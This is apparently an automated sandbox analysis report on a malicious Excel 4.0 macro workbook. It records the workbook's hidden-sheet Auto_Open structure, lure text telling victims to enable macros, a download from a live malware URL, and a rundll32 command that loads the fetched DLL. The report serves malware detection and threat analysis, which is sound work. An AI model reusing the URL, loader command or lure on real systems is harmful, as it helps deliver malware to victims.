Loading ...

Play interactive tourEdit tour

Analysis Report Calculation-1776198036-01262021.xlsm

Overview

General Information

Sample Name:Calculation-1776198036-01262021.xlsm
Analysis ID:344672
MD5:f28ff4fc549018f6eb3e27c3b9cd2473
SHA1:aefcf3ad1685d3b55d027554ea81addb471a4d8f
SHA256:fb75ce8dac7dbc3902418d23b9bf1f4d6be4b7a1f318620e57a81912c6987989

Most interesting Screenshot:

Detection

Hidden Macro 4.0
Score:72
Range:0 - 100
Whitelisted:false
Confidence:100%

Signatures

Antivirus detection for URL or domain
Office document tries to convince victim to disable security protection (e.g. to enable ActiveX or Macros)
Document exploit detected (UrlDownloadToFile)
Document exploit detected (process start blacklist hit)
Found Excel 4.0 Macro with suspicious formulas
Sigma detected: Microsoft Office Product Spawning Windows Shell
Excel documents contains an embedded macro which executes code when the document is opened
Potential document exploit detected (performs DNS queries)
Potential document exploit detected (performs HTTP gets)
Potential document exploit detected (unknown TCP traffic)
Uses a known web browser user agent for HTTP communication

Classification

Startup

  • System is w10x64
  • EXCEL.EXE (PID: 1836 cmdline: 'C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE' /automation -Embedding MD5: 5D6638F2C8F8571C593999C58866007E)
    • rundll32.exe (PID: 6284 cmdline: rundll32 ..\Flopers.GGRRDDFF,DllRegisterServer MD5: D7CA562B0DB4F4DD0F03A89A1FDAD63D)
  • cleanup

Malware Configuration

No configs have been found

Yara Overview

No yara matches

Sigma Overview

System Summary:

barindex
Sigma detected: Microsoft Office Product Spawning Windows ShellShow sources
Source: Process startedAuthor: Michael Haag, Florian Roth, Markus Neis, Elastic, FPT.EagleEye Team: Data: Command: rundll32 ..\Flopers.GGRRDDFF,DllRegisterServer, CommandLine: rundll32 ..\Flopers.GGRRDDFF,DllRegisterServer, CommandLine|base64offset|contains: ], Image: C:\Windows\SysWOW64\rundll32.exe, NewProcessName: C:\Windows\SysWOW64\rundll32.exe, OriginalFileName: C:\Windows\SysWOW64\rundll32.exe, ParentCommandLine: 'C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE' /automation -Embedding, ParentImage: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE, ParentProcessId: 1836, ProcessCommandLine: rundll32 ..\Flopers.GGRRDDFF,DllRegisterServer, ProcessId: 6284

Signature Overview

Click to jump to signature section

Show All Signature Results

AV Detection:

barindex
Antivirus detection for URL or domainShow sources
Source: http://test.limulustest.ru/invzovg/5319402.jpgAvira URL Cloud: Label: malware

Compliance:

barindex
Uses new MSVCR DllsShow sources
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEFile opened: C:\Windows\SysWOW64\MSVCR100.dllJump to behavior

Software Vulnerabilities:

barindex
Document exploit detected (UrlDownloadToFile)Show sources
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXESection loaded: unknown origin: URLDownloadToFileAJump to behavior
Document exploit detected (process start blacklist hit)Show sources
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess created: C:\Windows\SysWOW64\rundll32.exeJump to behavior
Source: global trafficDNS query: name: test.limulustest.ru
Source: global trafficTCP traffic: 192.168.2.3:49730 -> 188.225.73.5:80
Source: global trafficTCP traffic: 192.168.2.3:49730 -> 188.225.73.5:80
Source: global trafficHTTP traffic detected: GET /invzovg/5319402.jpg HTTP/1.1Accept: */*Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: test.limulustest.ruConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /invzovg/5319402.jpg HTTP/1.1Accept: */*Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: test.limulustest.ruConnection: Keep-Alive
Source: unknownDNS traffic detected: queries for: test.limulustest.ru
Source: 085A25F3-EE20-427C-93CA-526F3EE34AFA.0.drString found in binary or memory: http://olkflt.edog.officeapps.live.com/olkflt/outlookflighting.svc/api/glides
Source: 085A25F3-EE20-427C-93CA-526F3EE34AFA.0.drString found in binary or memory: http://weather.service.msn.com/data.aspx
Source: 085A25F3-EE20-427C-93CA-526F3EE34AFA.0.drString found in binary or memory: https://analysis.windows.net/powerbi/api
Source: 085A25F3-EE20-427C-93CA-526F3EE34AFA.0.drString found in binary or memory: https://apc.learningtools.onenote.com/learningtoolsapi/v2.0/getfreeformspeech
Source: 085A25F3-EE20-427C-93CA-526F3EE34AFA.0.drString found in binary or memory: https://api.aadrm.com/
Source: 085A25F3-EE20-427C-93CA-526F3EE34AFA.0.drString found in binary or memory: https://api.addins.omex.office.net/appinfo/query
Source: 085A25F3-EE20-427C-93CA-526F3EE34AFA.0.drString found in binary or memory: https://api.addins.omex.office.net/appstate/query
Source: 085A25F3-EE20-427C-93CA-526F3EE34AFA.0.drString found in binary or memory: https://api.cortana.ai
Source: 085A25F3-EE20-427C-93CA-526F3EE34AFA.0.drString found in binary or memory: https://api.diagnostics.office.com
Source: 085A25F3-EE20-427C-93CA-526F3EE34AFA.0.drString found in binary or memory: https://api.diagnosticssdf.office.com
Source: 085A25F3-EE20-427C-93CA-526F3EE34AFA.0.drString found in binary or memory: https://api.microsoftstream.com/api/
Source: 085A25F3-EE20-427C-93CA-526F3EE34AFA.0.drString found in binary or memory: https://api.office.net
Source: 085A25F3-EE20-427C-93CA-526F3EE34AFA.0.drString found in binary or memory: https://api.onedrive.com
Source: 085A25F3-EE20-427C-93CA-526F3EE34AFA.0.drString found in binary or memory: https://api.powerbi.com/beta/myorg/imports
Source: 085A25F3-EE20-427C-93CA-526F3EE34AFA.0.drString found in binary or memory: https://api.powerbi.com/v1.0/myorg/datasets
Source: 085A25F3-EE20-427C-93CA-526F3EE34AFA.0.drString found in binary or memory: https://api.powerbi.com/v1.0/myorg/groups
Source: 085A25F3-EE20-427C-93CA-526F3EE34AFA.0.drString found in binary or memory: https://apis.live.net/v5.0/
Source: 085A25F3-EE20-427C-93CA-526F3EE34AFA.0.drString found in binary or memory: https://arc.msn.com/v4/api/selection
Source: 085A25F3-EE20-427C-93CA-526F3EE34AFA.0.drString found in binary or memory: https://asgsmsproxyapi.azurewebsites.net/
Source: 085A25F3-EE20-427C-93CA-526F3EE34AFA.0.drString found in binary or memory: https://augloop.office.com
Source: 085A25F3-EE20-427C-93CA-526F3EE34AFA.0.drString found in binary or memory: https://augloop.office.com/v2
Source: 085A25F3-EE20-427C-93CA-526F3EE34AFA.0.drString found in binary or memory: https://autodiscover-s.outlook.com/
Source: 085A25F3-EE20-427C-93CA-526F3EE34AFA.0.drString found in binary or memory: https://autodiscover-s.outlook.com/autodiscover/autodiscover.xml
Source: 085A25F3-EE20-427C-93CA-526F3EE34AFA.0.drString found in binary or memory: https://cdn.entity.
Source: 085A25F3-EE20-427C-93CA-526F3EE34AFA.0.drString found in binary or memory: https://cdn.odc.officeapps.live.com/odc/stat/images/OneDriveUpsell.png
Source: 085A25F3-EE20-427C-93CA-526F3EE34AFA.0.drString found in binary or memory: https://cdn.odc.officeapps.live.com/odc/xml?resource=OneDriveSignUpUpsell
Source: 085A25F3-EE20-427C-93CA-526F3EE34AFA.0.drString found in binary or memory: https://cdn.odc.officeapps.live.com/odc/xml?resource=OneDriveSyncClientUpsell
Source: 085A25F3-EE20-427C-93CA-526F3EE34AFA.0.drString found in binary or memory: https://client-office365-tas.msedge.net/ab
Source: 085A25F3-EE20-427C-93CA-526F3EE34AFA.0.drString found in binary or memory: https://clients.config.office.net/
Source: 085A25F3-EE20-427C-93CA-526F3EE34AFA.0.drString found in binary or memory: https://clients.config.office.net/user/v1.0/android/policies
Source: 085A25F3-EE20-427C-93CA-526F3EE34AFA.0.drString found in binary or memory: https://clients.config.office.net/user/v1.0/ios
Source: 085A25F3-EE20-427C-93CA-526F3EE34AFA.0.drString found in binary or memory: https://clients.config.office.net/user/v1.0/mac
Source: 085A25F3-EE20-427C-93CA-526F3EE34AFA.0.drString found in binary or memory: https://clients.config.office.net/user/v1.0/tenantassociationkey
Source: 085A25F3-EE20-427C-93CA-526F3EE34AFA.0.drString found in binary or memory: https://cloudfiles.onenote.com/upload.aspx
Source: 085A25F3-EE20-427C-93CA-526F3EE34AFA.0.drString found in binary or memory: https://config.edge.skype.com
Source: 085A25F3-EE20-427C-93CA-526F3EE34AFA.0.drString found in binary or memory: https://config.edge.skype.com/config/v1/Office
Source: 085A25F3-EE20-427C-93CA-526F3EE34AFA.0.drString found in binary or memory: https://config.edge.skype.com/config/v2/Office
Source: 085A25F3-EE20-427C-93CA-526F3EE34AFA.0.drString found in binary or memory: https://contentstorage.omex.office.net/addinclassifier/officeentities
Source: 085A25F3-EE20-427C-93CA-526F3EE34AFA.0.drString found in binary or memory: https://contentstorage.omex.office.net/addinclassifier/officeentitiesupdated
Source: 085A25F3-EE20-427C-93CA-526F3EE34AFA.0.drString found in binary or memory: https://cortana.ai
Source: 085A25F3-EE20-427C-93CA-526F3EE34AFA.0.drString found in binary or memory: https://cortana.ai/api
Source: 085A25F3-EE20-427C-93CA-526F3EE34AFA.0.drString found in binary or memory: https://cr.office.com
Source: 085A25F3-EE20-427C-93CA-526F3EE34AFA.0.drString found in binary or memory: https://dataservice.o365filtering.com
Source: 085A25F3-EE20-427C-93CA-526F3EE34AFA.0.drString found in binary or memory: https://dataservice.o365filtering.com/
Source: 085A25F3-EE20-427C-93CA-526F3EE34AFA.0.drString found in binary or memory: https://dataservice.o365filtering.com/PolicySync/PolicySync.svc/SyncFile
Source: 085A25F3-EE20-427C-93CA-526F3EE34AFA.0.drString found in binary or memory: https://dataservice.protection.outlook.com/PolicySync/PolicySync.svc/SyncFile
Source: 085A25F3-EE20-427C-93CA-526F3EE34AFA.0.drString found in binary or memory: https://dataservice.protection.outlook.com/PsorWebService/v1/ClientSyncFile/MipPolicies
Source: 085A25F3-EE20-427C-93CA-526F3EE34AFA.0.drString found in binary or memory: https://dev.cortana.ai
Source: 085A25F3-EE20-427C-93CA-526F3EE34AFA.0.drString found in binary or memory: https://dev.virtualearth.net/REST/V1/GeospatialEndpoint/
Source: 085A25F3-EE20-427C-93CA-526F3EE34AFA.0.drString found in binary or memory: https://dev0-api.acompli.net/autodetect
Source: 085A25F3-EE20-427C-93CA-526F3EE34AFA.0.drString found in binary or memory: https://devnull.onenote.com
Source: 085A25F3-EE20-427C-93CA-526F3EE34AFA.0.drString found in binary or memory: https://directory.services.
Source: 085A25F3-EE20-427C-93CA-526F3EE34AFA.0.drString found in binary or memory: https://ecs.office.com/config/v2/Office
Source: 085A25F3-EE20-427C-93CA-526F3EE34AFA.0.drString found in binary or memory: https://entitlement.diagnostics.office.com
Source: 085A25F3-EE20-427C-93CA-526F3EE34AFA.0.drString found in binary or memory: https://entitlement.diagnosticssdf.office.com
Source: 085A25F3-EE20-427C-93CA-526F3EE34AFA.0.drString found in binary or memory: https://eur.learningtools.onenote.com/learningtoolsapi/v2.0/getfreeformspeech
Source: 085A25F3-EE20-427C-93CA-526F3EE34AFA.0.drString found in binary or memory: https://excel.uservoice.com/forums/304936-excel-for-mobile-devices-tablets-phones-android
Source: 085A25F3-EE20-427C-93CA-526F3EE34AFA.0.drString found in binary or memory: https://globaldisco.crm.dynamics.com
Source: 085A25F3-EE20-427C-93CA-526F3EE34AFA.0.drString found in binary or memory: https://graph.ppe.windows.net
Source: 085A25F3-EE20-427C-93CA-526F3EE34AFA.0.drString found in binary or memory: https://graph.ppe.windows.net/
Source: 085A25F3-EE20-427C-93CA-526F3EE34AFA.0.drString found in binary or memory: https://graph.windows.net
Source: 085A25F3-EE20-427C-93CA-526F3EE34AFA.0.drString found in binary or memory: https://graph.windows.net/
Source: 085A25F3-EE20-427C-93CA-526F3EE34AFA.0.drString found in binary or memory: https://hubblecontent.osi.office.net/contentsvc/api/telemetry
Source: 085A25F3-EE20-427C-93CA-526F3EE34AFA.0.drString found in binary or memory: https://hubblecontent.osi.office.net/contentsvc/browse?
Source: 085A25F3-EE20-427C-93CA-526F3EE34AFA.0.drString found in binary or memory: https://hubblecontent.osi.office.net/contentsvc/browse?cp=remix3d
Source: 085A25F3-EE20-427C-93CA-526F3EE34AFA.0.drString found in binary or memory: https://hubblecontent.osi.office.net/contentsvc/microsoftcontent?initpivot=icons&premium=1
Source: 085A25F3-EE20-427C-93CA-526F3EE34AFA.0.drString found in binary or memory: https://hubblecontent.osi.office.net/contentsvc/microsoftcontent?initpivot=stockimages&premium=1
Source: 085A25F3-EE20-427C-93CA-526F3EE34AFA.0.drString found in binary or memory: https://hubblecontent.osi.office.net/contentsvc/microsoftcontent?initpivot=stockvideos&premium=1
Source: 085A25F3-EE20-427C-93CA-526F3EE34AFA.0.drString found in binary or memory: https://hubblecontent.osi.office.net/contentsvc/microsofticon?
Source: 085A25F3-EE20-427C-93CA-526F3EE34AFA.0.drString found in binary or memory: https://incidents.diagnostics.office.com
Source: 085A25F3-EE20-427C-93CA-526F3EE34AFA.0.drString found in binary or memory: https://incidents.diagnosticssdf.office.com
Source: 085A25F3-EE20-427C-93CA-526F3EE34AFA.0.drString found in binary or memory: https://insertmedia.bing.office.net/images/hosted?host=office&adlt=strict&hostType=Immersive
Source: 085A25F3-EE20-427C-93CA-526F3EE34AFA.0.drString found in binary or memory: https://insertmedia.bing.office.net/images/officeonlinecontent/browse?cp=Bing
Source: 085A25F3-EE20-427C-93CA-526F3EE34AFA.0.drString found in binary or memory: https://insertmedia.bing.office.net/images/officeonlinecontent/browse?cp=ClipArt
Source: 085A25F3-EE20-427C-93CA-526F3EE34AFA.0.drString found in binary or memory: https://insertmedia.bing.office.net/images/officeonlinecontent/browse?cp=Facebook
Source: 085A25F3-EE20-427C-93CA-526F3EE34AFA.0.drString found in binary or memory: https://insertmedia.bing.office.net/images/officeonlinecontent/browse?cp=Flickr
Source: 085A25F3-EE20-427C-93CA-526F3EE34AFA.0.drString found in binary or memory: https://insertmedia.bing.office.net/images/officeonlinecontent/browse?cp=OneDrive
Source: 085A25F3-EE20-427C-93CA-526F3EE34AFA.0.drString found in binary or memory: https://insertmedia.bing.office.net/odc/insertmedia
Source: 085A25F3-EE20-427C-93CA-526F3EE34AFA.0.drString found in binary or memory: https://learningtools.onenote.com/learningtoolsapi/v2.0/GetFreeformSpeech
Source: 085A25F3-EE20-427C-93CA-526F3EE34AFA.0.drString found in binary or memory: https://lifecycle.office.com
Source: 085A25F3-EE20-427C-93CA-526F3EE34AFA.0.drString found in binary or memory: https://login.microsoftonline.com/
Source: 085A25F3-EE20-427C-93CA-526F3EE34AFA.0.drString found in binary or memory: https://login.windows-ppe.net/common/oauth2/authorize
Source: 085A25F3-EE20-427C-93CA-526F3EE34AFA.0.drString found in binary or memory: https://login.windows.local
Source: 085A25F3-EE20-427C-93CA-526F3EE34AFA.0.drString found in binary or memory: https://login.windows.net/72f988bf-86f1-41af-91ab-2d7cd011db47/oauth2/authorize
Source: 085A25F3-EE20-427C-93CA-526F3EE34AFA.0.drString found in binary or memory: https://login.windows.net/common/oauth2/authorize
Source: 085A25F3-EE20-427C-93CA-526F3EE34AFA.0.drString found in binary or memory: https://loki.delve.office.com/api/v1/configuration/officewin32/
Source: 085A25F3-EE20-427C-93CA-526F3EE34AFA.0.drString found in binary or memory: https://lookup.onenote.com/lookup/geolocation/v1
Source: 085A25F3-EE20-427C-93CA-526F3EE34AFA.0.drString found in binary or memory: https://management.azure.com
Source: 085A25F3-EE20-427C-93CA-526F3EE34AFA.0.drString found in binary or memory: https://management.azure.com/
Source: 085A25F3-EE20-427C-93CA-526F3EE34AFA.0.drString found in binary or memory: https://messaging.office.com/
Source: 085A25F3-EE20-427C-93CA-526F3EE34AFA.0.drString found in binary or memory: https://na01.oscs.protection.outlook.com/api/SafeLinksApi/GetPolicy
Source: 085A25F3-EE20-427C-93CA-526F3EE34AFA.0.drString found in binary or memory: https://nam.learningtools.onenote.com/learningtoolsapi/v2.0/getfreeformspeech
Source: 085A25F3-EE20-427C-93CA-526F3EE34AFA.0.drString found in binary or memory: https://ncus-000.contentsync.
Source: 085A25F3-EE20-427C-93CA-526F3EE34AFA.0.drString found in binary or memory: https://ncus-000.pagecontentsync.
Source: 085A25F3-EE20-427C-93CA-526F3EE34AFA.0.drString found in binary or memory: https://o365auditrealtimeingestion.manage.office.com
Source: 085A25F3-EE20-427C-93CA-526F3EE34AFA.0.drString found in binary or memory: https://o365auditrealtimeingestion.manage.office.com/api/userauditrecord
Source: 085A25F3-EE20-427C-93CA-526F3EE34AFA.0.drString found in binary or memory: https://o365diagnosticsppe-web.cloudapp.net
Source: 085A25F3-EE20-427C-93CA-526F3EE34AFA.0.drString found in binary or memory: https://ocos-office365-s2s.msedge.net/ab
Source: 085A25F3-EE20-427C-93CA-526F3EE34AFA.0.drString found in binary or memory: https://ofcrecsvcapi-int.azurewebsites.net/
Source: 085A25F3-EE20-427C-93CA-526F3EE34AFA.0.drString found in binary or memory: https://officeapps.live.com
Source: 085A25F3-EE20-427C-93CA-526F3EE34AFA.0.drString found in binary or memory: https://officeci.azurewebsites.net/api/
Source: 085A25F3-EE20-427C-93CA-526F3EE34AFA.0.drString found in binary or memory: https://officemobile.uservoice.com/forums/929800-office-app-ios-and-ipad-asks
Source: 085A25F3-EE20-427C-93CA-526F3EE34AFA.0.drString found in binary or memory: https://officesetup.getmicrosoftkey.com
Source: 085A25F3-EE20-427C-93CA-526F3EE34AFA.0.drString found in binary or memory: https://ogma.osi.office.net/TradukoApi/api/v1.0/
Source: 085A25F3-EE20-427C-93CA-526F3EE34AFA.0.drString found in binary or memory: https://onedrive.live.com
Source: 085A25F3-EE20-427C-93CA-526F3EE34AFA.0.drString found in binary or memory: https://onedrive.live.com/about/download/?windows10SyncClientInstalled=false
Source: 085A25F3-EE20-427C-93CA-526F3EE34AFA.0.drString found in binary or memory: https://onedrive.live.com/embed?
Source: 085A25F3-EE20-427C-93CA-526F3EE34AFA.0.drString found in binary or memory: https://outlook.office.com/
Source: 085A25F3-EE20-427C-93CA-526F3EE34AFA.0.drString found in binary or memory: https://outlook.office.com/autosuggest/api/v1/init?cvid=
Source: 085A25F3-EE20-427C-93CA-526F3EE34AFA.0.drString found in binary or memory: https://outlook.office365.com/
Source: 085A25F3-EE20-427C-93CA-526F3EE34AFA.0.drString found in binary or memory: https://outlook.office365.com/api/v1.0/me/Activities
Source: 085A25F3-EE20-427C-93CA-526F3EE34AFA.0.drString found in binary or memory: https://outlook.office365.com/autodiscover/autodiscover.json
Source: 085A25F3-EE20-427C-93CA-526F3EE34AFA.0.drString found in binary or memory: https://ovisualuiapp.azurewebsites.net/pbiagave/
Source: 085A25F3-EE20-427C-93CA-526F3EE34AFA.0.drString found in binary or memory: https://partnerservices.getmicrosoftkey.com/PartnerProvisioning.svc/v1/subscriptions
Source: 085A25F3-EE20-427C-93CA-526F3EE34AFA.0.drString found in binary or memory: https://pf.directory.live.com/profile/mine/System.ShortCircuitProfile.json
Source: 085A25F3-EE20-427C-93CA-526F3EE34AFA.0.drString found in binary or memory: https://pf.directory.live.com/profile/mine/WLX.Profiles.IC.json
Source: 085A25F3-EE20-427C-93CA-526F3EE34AFA.0.drString found in binary or memory: https://portal.office.com/account/?ref=ClientMeControl
Source: 085A25F3-EE20-427C-93CA-526F3EE34AFA.0.drString found in binary or memory: https://posarprodcssservice.accesscontrol.windows.net/v2/OAuth2-13
Source: 085A25F3-EE20-427C-93CA-526F3EE34AFA.0.drString found in binary or memory: https://powerlift-frontdesk.acompli.net
Source: 085A25F3-EE20-427C-93CA-526F3EE34AFA.0.drString found in binary or memory: https://powerlift.acompli.net
Source: 085A25F3-EE20-427C-93CA-526F3EE34AFA.0.drString found in binary or memory: https://powerpoint.uservoice.com/forums/288952-powerpoint-for-ipad-iphone-ios
Source: 085A25F3-EE20-427C-93CA-526F3EE34AFA.0.drString found in binary or memory: https://prod-global-autodetect.acompli.net/autodetect
Source: 085A25F3-EE20-427C-93CA-526F3EE34AFA.0.drString found in binary or memory: https://r4.res.office365.com/footprintconfig/v1.7/scripts/fpconfig.json
Source: 085A25F3-EE20-427C-93CA-526F3EE34AFA.0.drString found in binary or memory: https://res.getmicrosoftkey.com/api/redemptionevents
Source: 085A25F3-EE20-427C-93CA-526F3EE34AFA.0.drString found in binary or memory: https://rpsticket.partnerservices.getmicrosoftkey.com
Source: 085A25F3-EE20-427C-93CA-526F3EE34AFA.0.drString found in binary or memory: https://settings.outlook.com
Source: 085A25F3-EE20-427C-93CA-526F3EE34AFA.0.drString found in binary or memory: https://shell.suite.office.com:1443
Source: 085A25F3-EE20-427C-93CA-526F3EE34AFA.0.drString found in binary or memory: https://skyapi.live.net/Activity/
Source: 085A25F3-EE20-427C-93CA-526F3EE34AFA.0.drString found in binary or memory: https://sr.outlook.office.net/ws/speech/recognize/assistant/work
Source: 085A25F3-EE20-427C-93CA-526F3EE34AFA.0.drString found in binary or memory: https://staging.cortana.ai
Source: 085A25F3-EE20-427C-93CA-526F3EE34AFA.0.drString found in binary or memory: https://storage.live.com/clientlogs/uploadlocation
Source: 085A25F3-EE20-427C-93CA-526F3EE34AFA.0.drString found in binary or memory: https://store.office.cn/addinstemplate
Source: 085A25F3-EE20-427C-93CA-526F3EE34AFA.0.drString found in binary or memory: https://store.office.com/?productgroup=Outlook
Source: 085A25F3-EE20-427C-93CA-526F3EE34AFA.0.drString found in binary or memory: https://store.office.com/addinstemplate
Source: 085A25F3-EE20-427C-93CA-526F3EE34AFA.0.drString found in binary or memory: https://store.office.de/addinstemplate
Source: 085A25F3-EE20-427C-93CA-526F3EE34AFA.0.drString found in binary or memory: https://store.officeppe.com/addinstemplate
Source: 085A25F3-EE20-427C-93CA-526F3EE34AFA.0.drString found in binary or memory: https://syncservice.protection.outlook.com/PolicySync/PolicySync.svc/SyncFile
Source: 085A25F3-EE20-427C-93CA-526F3EE34AFA.0.drString found in binary or memory: https://tasks.office.com
Source: 085A25F3-EE20-427C-93CA-526F3EE34AFA.0.drString found in binary or memory: https://templatelogging.office.com/client/log
Source: 085A25F3-EE20-427C-93CA-526F3EE34AFA.0.drString found in binary or memory: https://uci.officeapps.live.com/OfficeInsights/web/views/insights.desktop.html
Source: 085A25F3-EE20-427C-93CA-526F3EE34AFA.0.drString found in binary or memory: https://uci.officeapps.live.com/OfficeInsights/web/views/insights.immersive.html
Source: 085A25F3-EE20-427C-93CA-526F3EE34AFA.0.drString found in binary or memory: https://visio.uservoice.com/forums/368202-visio-on-devices
Source: 085A25F3-EE20-427C-93CA-526F3EE34AFA.0.drString found in binary or memory: https://web.microsoftstream.com/video/
Source: 085A25F3-EE20-427C-93CA-526F3EE34AFA.0.drString found in binary or memory: https://webdir.online.lync.com/autodiscover/autodiscoverservice.svc/root/
Source: 085A25F3-EE20-427C-93CA-526F3EE34AFA.0.drString found in binary or memory: https://webshell.suite.office.com
Source: 085A25F3-EE20-427C-93CA-526F3EE34AFA.0.drString found in binary or memory: https://word.uservoice.com/forums/304948-word-for-ipad-iphone-ios
Source: 085A25F3-EE20-427C-93CA-526F3EE34AFA.0.drString found in binary or memory: https://wus2-000.contentsync.
Source: 085A25F3-EE20-427C-93CA-526F3EE34AFA.0.drString found in binary or memory: https://wus2-000.pagecontentsync.
Source: 085A25F3-EE20-427C-93CA-526F3EE34AFA.0.drString found in binary or memory: https://www.bingapis.com/api/v7/urlpreview/search?appid=E93048236FE27D972F67C5AF722136866DF65FA2
Source: 085A25F3-EE20-427C-93CA-526F3EE34AFA.0.drString found in binary or memory: https://www.odwebp.svc.ms

System Summary:

barindex
Office document tries to convince victim to disable security protection (e.g. to enable ActiveX or Macros)Show sources
Source: Screenshot number: 4Screenshot OCR: Enable Editing, please 15 from the yellow bar above ok 16 17 "- WHY I CANNOT OPEN THIS DOCUMENT?
Source: Screenshot number: 8Screenshot OCR: Enable Editing 11 12" from the yellow bar above 13 14" @Once You have Enable Editing, please cli
Source: Screenshot number: 8Screenshot OCR: Enable Content 15 from the yellow bar above 16 O Cl 17 " WHY I CANNOT OPEN THIS DOCUMENT? 19 2
Source: Document image extraction number: 2Screenshot OCR: Enable Editing from the yellow bar above Once You have Enable Editing, please click Enable Content
Source: Document image extraction number: 2Screenshot OCR: Enable Content from the yellow bar above WHYICANNOTOPEN THIS DOCUMENT? You are using iOS or Andro
Source: Document image extraction number: 8Screenshot OCR: Enable Editing from the yellow bar above @Once You have Enable Editing, please click Enable Conten
Source: Document image extraction number: 8Screenshot OCR: Enable Content from the yellow bar above WHYICANNOTOPEN THIS DOCUMENT? wYou are using IDS or Andr
Found Excel 4.0 Macro with suspicious formulasShow sources
Source: Calculation-1776198036-01262021.xlsmInitial sample: EXEC
Source: workbook.xmlBinary string: <workbook xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships"><fileVersion appName="xl" lastEdited="5" lowestEdited="4" rupBuild="9302"/><workbookPr filterPrivacy="1" defaultThemeVersion="124226"/><bookViews><workbookView xWindow="240" yWindow="105" windowWidth="14805" windowHeight="8010"/></bookViews><sheets><sheet name="DocuSign" sheetId="5" r:id="rId1"/><sheet name="Lodet" sheetId="4" state="hidden" r:id="rId2"/><sheet name="kOTI" sheetId="1" state="hidden" r:id="rId3"/></sheets><definedNames><definedName name="_xlnm.Auto_Open">Lodet!$A$154</definedName></definedNames><calcPr calcId="144525"/></workbook>
Source: classification engineClassification label: mal72.expl.evad.winXLSM@3/10@1/1
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEFile created: C:\Users\user\AppData\Local\Microsoft\Office\16.0\WebServiceCacheJump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEFile created: C:\Users\user\AppData\Local\Temp\{5E9BCC8E-86F2-4A37-83C0-663B065A8FCA} - OProcSessId.datJump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEFile read: C:\Users\desktop.iniJump to behavior
Source: C:\Windows\SysWOW64\rundll32.exeKey opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiersJump to behavior
Source: unknownProcess created: C:\Windows\SysWOW64\rundll32.exe rundll32 ..\Flopers.GGRRDDFF,DllRegisterServer
Source: unknownProcess created: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE 'C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE' /automation -Embedding
Source: unknownProcess created: C:\Windows\SysWOW64\rundll32.exe rundll32 ..\Flopers.GGRRDDFF,DllRegisterServer
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess created: C:\Windows\SysWOW64\rundll32.exe rundll32 ..\Flopers.GGRRDDFF,DllRegisterServerJump to behavior
Source: Window RecorderWindow detected: More than 3 window changes detected
Source: Calculation-1776198036-01262021.xlsmInitial sample: OLE zip file path = xl/worksheets/_rels/sheet2.xml.rels
Source: Calculation-1776198036-01262021.xlsmInitial sample: OLE zip file path = xl/media/image1.png
Source: Calculation-1776198036-01262021.xlsmInitial sample: OLE zip file path = xl/media/image3.png
Source: Calculation-1776198036-01262021.xlsmInitial sample: OLE zip file path = xl/media/image2.png
Source: Calculation-1776198036-01262021.xlsmInitial sample: OLE zip file path = xl/printerSettings/printerSettings2.bin
Source: Calculation-1776198036-01262021.xlsmInitial sample: OLE zip file path = xl/printerSettings/printerSettings3.bin
Source: Calculation-1776198036-01262021.xlsmInitial sample: OLE zip file path = xl/calcChain.xml
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEKey opened: HKEY_CURRENT_USER\Software\Microsoft\Office\16.0\Common\LanguageResources\EnabledEditingLanguagesJump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEFile opened: C:\Windows\SysWOW64\MSVCR100.dllJump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
